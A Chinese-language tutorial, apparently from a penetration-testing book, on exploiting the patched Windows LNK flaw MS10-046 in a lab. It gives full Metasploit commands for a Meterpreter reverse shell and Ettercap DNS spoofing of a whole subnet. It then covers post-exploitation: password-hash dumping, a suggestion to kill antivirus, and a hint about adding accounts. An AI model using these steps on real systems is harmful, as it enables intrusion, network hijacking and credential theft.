Microsoft Windows快捷方式LNK文件自动执行代码漏洞攻击(MS10-046)
Metasploit Framework软件介绍及下载:http://netsecurity.51cto.com/art/201106/268429.htm
◆漏洞描述
1、漏洞定义
Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用,点击LNK文件与点击快捷方式所指定的目标具有相同的效果。
Windows没有正确地处理LNK文件,特制的LNK文件可能导致Windows自动执行快捷方式文件所指定的代码。这些代码可能位于USB驱动、本地 或远程文件系统、光驱或其他位置,使用资源管理器查看了LNK文件所在位置就足以触发这个漏洞。默认下Windows启动了自动加载和自动播放功能,因此 在连接可移动设备(如USB闪存)后Windows会自动打开资源管理器。其他显示文件图标的应用也可用作这个漏洞的攻击载体。受影响的Windows系统如下表1所示:
表1
漏洞名称 |
受影响的Windows系统类型 |
MS10-046 |
Microsoft Windows XP SP3 |
Microsoft Windows XP SP2 |
|
Microsoft Windows |
|
Microsoft Windows |
|
Microsoft Windows Server 2008 |
|
Microsoft Windows Server 2008 SP2 |
|
Microsoft Windows Server 2008 R2 |
|
Microsoft Windows Server 2003 SP2 |
|
Microsoft Windows 7 |
2、关于补丁
Microsoft已经为此发布了一个安全公告(MS10-046)以及相应补丁:
MS10-046:Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198),其详细说明文档的链接如下:
http://www.microsoft.com/china/technet/security/bulletin/MS10-046.mspx
此安全更新解决了Windows Shell 中一个公开披露的漏洞。 如果显示特制的快捷方式图标,则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。除了使用Windows系统自带的自动更新来升级补丁外,也可以使用360安全卫士之类的第三方工具来实现。#p#
◆攻击操作
接下来,我们开始使用Metasploit3进行溢出攻击,下面为详细步骤。
步骤1:进入Metasploit,载入攻击代码。
作为攻击者而言,首先是进入Metasploit。除了从菜单上直接点选进入Metasploit外,我们也可以在图形界面下打开任意一个Shell,直接输入msfconsole命令来进入Metasploit。如下图-1所示,可以看到当前包含代码数量、参数状态及最新版本等。
图-1
命令如下:
search ms10_046
回车后即可看到如下图-2所示的搜索结果,显示存在一个名为"ms10_046_shortcut_icon_dllloader"的可用攻击代码。接下来,就可以载入该攻击代码,具体命令如下:
use windows/browser/ms10_046_shortcut_icon_dllloader
回车后如下图所示,就载入了该攻击代码。
图-2
在使用一个攻击代码前,需要先查看其必需的设置参数有哪些,所以先要输入如下命令:
show options
回车后即可看到该攻击代码的设置参数,如下图-3所示,在图中间可以看到SRVHOST、SRVPORT、URIPATH这三个参数是必须的,其中,SRVPORT和URIPATH是已经默认设置好的。
图-3 #p#
步骤2:在Metasploit3上配置攻击代码。
既然知道了必需的配置参数,接下来就可以使用set命令来依次配置参数。其中,设置溢出有效载荷为反向溢出,而为了使用到Metasploit中的具备强化Shell功能的Meterpreter,所以设置为PAYLOAD为windows/metepreter/reverse_tcp此外,由于后面攻击者还要使用ettercap对目标进行DNS欺骗攻击,所以攻击者应要将反弹端口的目的地设置为自身IP,即设置LHOST为自身IP。最后,使用exploit执行溢出。具体命令如下:
set SRVHOST 攻击者自身IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 攻击者自身IP
exploit
依次输入回车后如下图-4所示,会显示为启用一个URL地址为http://10.23.0.3:80,对应一个共享目录\\10.23.0.3\owhBPhxMJ\。
图-4 #p#
步骤3:配置EtterCap,执行DNS欺骗攻击。
关于DNS欺骗攻击会使用到Ettercap,这款工具的操作可以参考本书12章12.1节内容。不过在使用Ettercap进行DNS欺骗攻击之前,我们先修改一下Ettercap的dns模块,即修改/usr/share/ettercap/etter.dns文件,格式为添加*.com、*.net、*.org及*.cn的解析指向为10.23.0.3。具体命令如下:
nano /usr/share/ettercap/etter.dns
cat /usr/share/ettercap/etter.dns
执行效果如下图-5所示。
图-5
修改etter.dns完毕后,就可以开启ettercap进行DNS欺骗攻击了,具体命令如下:
ettercap -T -q -i eth0 -P dns_spoof // //
参数解释:
-T 使用文字界面,建议不喜欢 GUI模式的朋友使用;
-q 指quiet模式,就是让Ettercap表现得安静些,少些不必要的文字报告;
-i 后跟网卡名称,这里就是eth0;
-P 后跟需要载入的插件,这里就是dns_spoof插件;
// 指代任意MAC地址、任意IP地址,即全网段。
回车后即可看到如下图-6所示。此时的Ettercap开始对当前网段实施DNS欺骗攻击。
图-6
步骤4:收到反向溢出Shell,侵入目标主机。
此时,在目标主机(也可认为是受害者,采用Windows XP SP3系统,IP地址为10.23.0.4)上打开浏览器,输入网址http://google.com并回车,如下图-7所示,会发现浏览器的响应会变得缓慢。
图-7
稍等数秒后,我们会发现在目标主机上的浏览器上原本应显示为Google的主页,突然变成了一个名为\\10.23.0.3\owhBPhxMJ的共享目录。如下图-8所示。
图-8
而此时,在攻击者的主机上,在开启EtterCap命令的Shell下,也同时出现了一些域名的请求被拦截及被同步欺骗到10.23.0.3上,如下图-9所示,能看到一个向google.com的域名解析请求被EtterCap拦截并重定向到10.23.0.3上。
图-9
回到Metasploit的Shell下,就会看到当DNS欺骗导致的重定向发生后,受害者被强制运行了攻击者主机即10.23.0.3上Metasploit执行的漏洞攻击代码。于是在成功溢出后,攻击者拿到了一个反向溢出Shell。如下图-10所示,黑框中标出的即可获取到一个Meterpreter Session。
图-10
此时,攻击者可以使用Ctrl+C中断一下攻击代码的实时显示,输入back命令回到Metasploit的根目录后,就可以使用session查看这个反向溢出Shell的ID号,然后再调用该ID即可。具体命令如下:
sessions
sessions -i 1
参数解释:
-i num 该参数用于调用不同ID号的成功溢出Shell,后跟的num为ID号。如下图-11所示,显示的当前可用Session只有1个,即成功溢出10.23.0.4后获得的Shell。
依次输入上述命令,就可以成功调用该反向溢出Shell。如下图-11所示,由于之前设置为Metasploit内置的特殊Shell-Meterpreter,所以此时会看到提示符从"msf"变成了"meterpreter"。
图-11 #p#
步骤5:入侵后在目标主机执行命令。
为了方便安全渗透测试人员可以更深入地研究漏洞的危害性,强化了的Meterpreter里也内置了大量的工具及命令。举几个例子:
ps 列出当前运行的全部程序
如下图-12所示,输入ps回车后会显示出该Windows上当前运行的全部程序进程,攻击者将根据需要使用kill来杀掉某个进程,比如杀毒软件。
图-12
为了扩展一下思路,我们再来看看如何获取受害者主机上的密码Hash。具体命令如下:
use priv 使用特权工具
hashdump 获取Windows所有用户密码Hash值
依次输入上述命令然后回车后就可看到如下图-13所示内容,攻击者成功地获取到了目标主机上的全部用户列表及对应的密码Hash表。这个Hash表的内容只要导入Ophcrack之类的工具中就可以轻松地破解,而关于Ophcrack的具体使用大家可以参考本书的10.1节,这里就不再重复描述。
图-13
当然,可能有的朋友要说,在这个meterpreter里面很难输入Windows命令。哦,是的,貌似是这样,但是没关系,我们可以很容易地解决这个小问题。只要输入shell这个命令,攻击者就能够进入到目标主机的CMD界面中。
如下图-14所示,只需要驶入shell,回车后攻击者就可以进入到CMD的界面中,在这个界面里任何CMD下支持的命令都可以执行,比如使用ipconfig来显示当前IP地址。如下图-14所示,我们确实看到当前IP显示为10.23.0.4,对,我们现在就在受害者的主机里。至于添加账户之类的命令就由小黑们按照想法自行使用啦。
图-14
好了,到这里,Metasploit3的基本使用,我想大家都已经学会了。